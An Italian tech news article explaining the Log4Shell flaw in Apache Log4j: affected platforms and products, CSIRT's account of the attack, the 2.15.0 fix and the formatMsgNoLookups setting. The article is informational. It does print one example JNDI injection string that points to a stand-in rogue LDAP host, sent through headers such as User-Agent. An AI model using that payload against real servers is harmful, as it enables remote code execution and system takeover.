\n<\/p>\n
Gli sviluppatori di Apache hanno reso disponibile un aggiornamento con cui risolvere la vulnerabilit\u00e0 0-day (CVE-2021-44228<\/a>) che affligge la libreria Log4j<\/strong> con un rischio per i server di numerose piattaforme ampiamente utilizzate, basti pensare a Minecraft, Steam, Twitter e iCloud, cos\u00ec come per i client che interagiscono con queste ultime.<\/p>\n Parliamo di una vulnerabilit\u00e0 (nota anche come Log4Shell<\/strong>) talmente grave da meritarsi un punteggio pari a 10 su 10 nella scala CVSS (Common Vulnerability Scoring System<\/em>), attraverso di essa un utente malintenzionato potrebbe dar vita ad attivit\u00e0 RCE<\/strong> (Remote Code Execution<\/em>) eseguendo del codice arbitrario senza necessit\u00e0 di autenticazione e con competenze tecniche relativamente basilari. <\/p>\n A tal proposito esisterebbe gi\u00e0 il Proof of concept<\/a> di un exploit che ha avuto come target Twitter.<\/p>\n In pratica la vulnerabilit\u00e0 deriverebbe da come i messaggi di log vengono gestiti dal log4j, se per esempio un attaccante inviasse un messaggio appositamente confezionato per contenere un stringa sul modello della seguente:<\/p>\n il risultato potrebbe essere quello di caricare del codice esterno e di eseguirlo. Lo schema seguente evidenzia ad esempio come tale procedura possa essere effettuata tramite il riferimento ad una JNDI<\/strong> (Java Naming and Directory Interface<\/em>) in un the #log4j<\/a> scramble in a nutshell pic.twitter.com\/XSwxEJucsI<\/a><\/p>\n \u2014 Yong Sheng (@ystan_) December 13, 2021<\/a><\/p>\n<\/blockquote>\n Gli effetti di un\u2019azione malevola sono spiegati<\/a> chiaramente nel bollettino riportato dal CSIRT (Computer Security Incident Response Team<\/em>):<\/p>\n L\u2019eventuale sfruttamento della falla consente l\u2019esecuzione di codice arbitrario a danno dell\u2019applicazione affetta. Gli aggressori, che non necessitano di un accesso preventivo al sistema, possono inviare una richiesta https malformata tramite una stringa appositamente predisposta, per generare un log su Log4j \u2013 che adotta JNDI (Java Naming and Directory Interface) \u2013 al fine di registrare la stringa dannosa nel registro dell\u2019applicazione. Durante l\u2019elaborazione del registro, il sistema vulnerabile si trover\u00e0 nelle condizioni di esegue il codice appositamente inserito dall\u2019utente malintenzionato. Questa condizione pu\u00f2 ad esempio portare l\u2019applicazione ad effettuare una richiesta verso un dominio dannoso per eseguire un payload malevolo. In questo modo per l\u2019attaccante sar\u00e0 possibile acquisire il controllo dell\u2019applicazione interessata e l\u2019accesso completo al sistema. <\/p>\n<\/blockquote>\n A rendere particolarmente preoccupante la vulnerabilit\u00e0 sarebbe il fatto che essa coinvolge praticamente tutte le soluzioni della Apache Software Foundation dedicate ai contesti enterprise tra cui ad esempio Struts, Flink, Druid, Flume, Solr e Kafka. Nello stesso modo potrebbero essere esposti a problematiche di sicurezza progetti come Redis, ElasticSearch ed Elastic Logstash.<\/p>\n L\u2019aggiornamento ora installabile \u00e8 contenuto nella versione 2.15.0 e in molti si sono chiesti se con esso si potr\u00e0 riportare alla normalit\u00e0 una situazione considerata non a torto compromessa.<\/p>\n Alcuni esperti di sicurezza hanno fatto notare che il rischio sarebbe concreto soltanto nel caso in cui il valore del parametro Stando cos\u00ec le cose, il fatto di agire direttamente sul parametro citato modificandone il valore in Le versioni a rischio sono in pratica tutte quelle tra la 2.0 e la 2.14.1, a ci\u00f2 si aggiunga che non di rado Log4j viene utilizzato con release di Java datate e obsolete che gi\u00e0 di per s\u00e9 non offrono importanti garanzie dal punto di vista della sicurezza.<\/p>\n Fonte<\/em>: Log4j<\/span><\/a><\/p>\n<\/div>\nLog4j: le piattaforme coinvolte<\/h2>\n
\n${jndi:ldap:\/\/rogueldapserver.com\/a})\n<\/code><\/pre>\nUser-Agent<\/code>:<\/p>\n\n
\n
Un aggiornamento risolutivo?<\/h2>\n
log4j2.formatMsgNoLookups<\/code> dovesse essere settato su FALSE<\/code>. Ora nella release 2.15.0 quest\u2019ultimo sarebbe stato impostato su TRUE<\/code> e riportarlo su FALSE<\/code> non farebbe altro che annullare l\u2019utilit\u00e0 della patch.<\/p>\nTRUE<\/code> potrebbe risultare pi\u00f9 efficace che applicare un aggiornamento in cui non viene conservato il valore predefinito per log4j2.formatMsgNoLookups<\/code>. <\/p>\n